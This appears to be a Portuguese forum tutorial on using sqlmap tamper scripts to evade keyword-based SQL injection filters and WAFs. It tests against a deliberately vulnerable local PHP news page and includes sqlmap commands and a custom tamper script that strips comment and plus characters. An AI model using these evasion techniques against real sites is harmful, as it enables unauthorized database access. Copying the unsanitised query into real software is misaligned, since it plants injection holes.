Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Burlando WAFs com o sqlmap

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Tutorial Burlando WAFs com o sqlmap

    Hi.

    Alguma vez na vida com certeza nos deparamos com programadores que tentam se proteger contra SQL Injection através de keywords. Acham que verificando se o parâmetro capturado do cliente contém alguma keyword SQL já estarão protegidos. Será mesmo que eles estarão certos? ;-)

    Uma das features mais interessantes do magnífico projeto Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... são os tamper scripts. São scripts em Python que te possibilitam modificar o payload da forma que você preferir. Sendo assim, conseguimos automatizar a tarefa e burlar filtros de modo simples e rápido, sem perder qualquer utilidade oferecida pelo SQLMap.

    Por default, o SQLMap já vem com uma gama de scripts que ficam dentro do diretório tamper/*.py. Todos os scripts vem bem comentados, o que facilita ainda mais o entendimento.

    Nesta matéria, irei demonstrar um pouco do uso dos tamper scripts, desde o uso até a criação dos mesmos.





    Para demonstração da matéria, criei um sistema de notícias simples apenas para testarmos os scripts de forma rápida e sem prejudicar ninguém.

    Query executada pelo sistema de notícias:
    Código PHP:
    <?php
    $sql 
    'SELECT * FROM noticias WHERE id = ' $_GET['id'];
    Como vimos, não há tratamento nenhum. Apenas executamos diretamente no banco o parâmetro recebido do cliente pelo método GET.
    Inserindo uma aspa simples, já conseguimos quebrar a query:

    127.0.0.1 - - [26/Oct/2011:09:59:28 -0200] "GET /news/?id=2' HTTP/1.1" 200 202

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

    Agora, vamos inserir um filtro básico, parecido com o que alguns IDS utilizam.

    Código PHP:
    <?php
    if(preg_match('/\s/'$_GET['id']))
        die(
    'Hacking Attempt');

    Isso verificaria se há espaços no parâmetro GET antes de enviar a consulta. O sqlmap por default adiciona vários. Poxa, vou ter que explorar isso na mão?

    :~/sqlmap-dev$ python sqlmap.py -o -u "http://localhost/news/?id=2" --dbs
    [...]
    [10:09:12] [WARNING] GET parameter 'id' is not injectable
    [10:09:12] [CRITICAL] all parameters appear to be not injectable. Try to increase --level/--risk values to perform more tests. Also, you can try to rerun by providing either a valid --string or a valid --regexp, refer to the user's manual for details

    Consigo burlar isso manualmente substituindo os espaços para /**/ na query. Mas o sqlmap não faz isso… Oh, wait! Faz sim.

    :~/sqlmap-dev$ python sqlmap.py --tamper "tamper/space2comment.py" -o -u "http://localhost/news/?id=2" --dbs
    [...]
    [10:11:53] [INFO] loading tamper script 'space2comment'
    [...]
    GET parameter 'id' is vulnerable. Do you want to keep testing the others? [y/N] n
    [...]
    [10:12:10] [INFO] fetching database names
    [10:12:10] [INFO] the SQL query used returns 7 entries

    Porém, WAFs como o mod_rewrite bloqueiam quaisquer tentativa de inserção de “/**/” ou “+” vindos do cliente. E agora, fvox? :O
    Para burlar isso, podemos utilizar “” ao invés dos “/**/”. Mas o space2comment.py não faz isso automaticamente.
    Vamos melhorar esse filtro pra ver na prática…

    Código PHP:
    <?php
    if(preg_match('/(\s|\/\*\*\/|\+)/'$_GET['id']))
        die(
    'Hacking Attempt');

    É, já não funciona mais…
    [10:30:11] [INFO] loading tamper script 'space2plus'
    [10:30:13] [WARNING] GET parameter 'id' is not injectable
    Triste, né?
    Mas vamos criar nosso próprio script para fazer o replace…

    Código:
    #!/usr/bin/env python
    
    from lib.core.enums import PRIORITY
    
    __priority__ = PRIORITY.LOWEST
    
    def dependencies():
        pass
    
    def tamper(payload):
        if payload:
            payload = payload.replace("/**/", "");
            payload = payload.replace("+", "");
        return payload
    Simples, não é mesmo?
    Será que funciona?

    :~/sqlmap-dev$ python sqlmap.py --tamper "tamper/space2plus.py,tamper/fvox.py" -o -u "http://localhost/news/?id=2" --dbs
    [...]
    [10:31:50] [INFO] loading tamper script 'space2plus'
    [10:31:50] [INFO] loading tamper script 'fvox'
    [...]
    [10:31:51] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
    [...]
    [10:31:51] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable
    [...]
    [10:32:01] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' injectable
    [...]
    GET parameter 'id' is vulnerable. Do you want to keep testing the others? [y/N] n
    [...]
    [10:32:30] [INFO] fetching database names
    [10:32:30] [INFO] the SQL query used returns 7 entries

    É, conseguimos! ;-)

    Por enquanto é isso aí.
    Bons estudos!


    Referência: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    []'s
    Desenvolvedor Perl, PHP, .NET (C#, VB.NET, ASP.NET), Java (J2EE), Shell Script, JavaScript/Ajax, C, amante de Linux e noob.

    twitter | last.fm

X
Working...
X